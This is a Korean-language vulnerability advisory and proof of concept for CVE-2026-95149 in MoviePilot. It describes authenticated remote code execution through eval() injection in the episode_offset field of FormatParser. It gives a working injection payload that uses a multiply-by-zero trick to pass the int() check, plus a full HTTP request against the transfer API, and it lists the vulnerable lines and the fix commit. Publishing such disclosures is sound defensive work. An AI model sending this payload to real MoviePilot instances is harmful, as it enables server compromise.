
CVE-2026-95149에 대한 개념 증명 및 근본 원인 분석으로, MoviePilot의 FormatParser에서 episode_offset의 eval() 주입을 통한 인증된 RCE이며, HTTP PoC와 수정 세부 정보를 포함합니다.
episode_offset의 eval() 주입을 통한 인증된 RCE (MoviePilot FormatParser)| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-95149 |
| 제품 | MoviePilot (jxxghp/MoviePilot) |
| 영향받는 버전 | <= v3.0.0 |
| 수정된 버전 | v3 브랜치 — 커밋 65b9c777de9194e40ba29dc17345afc5b4b4b0ba |
| 심각도 | 높음 |
| 공격 벡터 | 원격, HTTP API를 통해 |
| 필요 권한 | 인증된 관리 사용자 (admin 또는 management 역할 계정) |
| 사용자 상호작용 | 없음 |
| 보고일 | 2026-09-11 |
| 공개 이슈 | jxxghp/MoviePilot#6644 |
FormatParser는 임의의 문자열을 받아들이고 해당 문자열에 "EP"가 포함되어 있는지 여부로만 분기합니다. 문자열의 나머지 부분이 올바른 형식의 산술 표현식인지 검증하지 않습니다:
elif "EP" in offset:
self.__offset = offset
이후 여러 다운스트림 분기에서 텍스트 치환으로 Python 표현식을 구성하고 이를 직접 평가합니다:
start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part
int(...) 래퍼는 표현식의 반환 값만 제약할 뿐, 평가 중에 발생하는 부작용을 막지 못합니다. 따라서 페이로드에 포함된 함수 호출, import, 속성 접근은 최종 값이 int로 강제 변환되기 전에 실행됩니다.
흔히 시도되는 완화 방법은 페이로드에 0을 곱하여 산술 결과가 숫자로 유지되도록 하는 것입니다:
EP+__import__('os').system('touch /tmp/success')*0
이 방법도 여전히 동작합니다. 부작용(명령 실행)은 최종 덧셈이 int로 강제 변환되기 훨씬 전인 평가 중에 발생하므로, 공격자는 명령 실행 과 int() 타입 검사를 통과하는 값을 동시에 얻게 됩니다.
POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
{
"fileitem": {
"storage": "local",
"path": "/configured/media/file.mkv",
"type": "file",
"name": "file.mkv"
},
"episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}
취약한 인스턴스에서는 MoviePilot 서비스 프로세스에 의해 /tmp/success가 생성됩니다. API 호출이 200을 반환하지 않으면 int() 캐스트에서 예외가 발생하지만, 주입된 명령은 이미 실행된 상태이므로 요청의 결과는 익스플로잇과 무관합니다.
app/application/formatting.py (v3.0.0의 102행 및 184행)app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302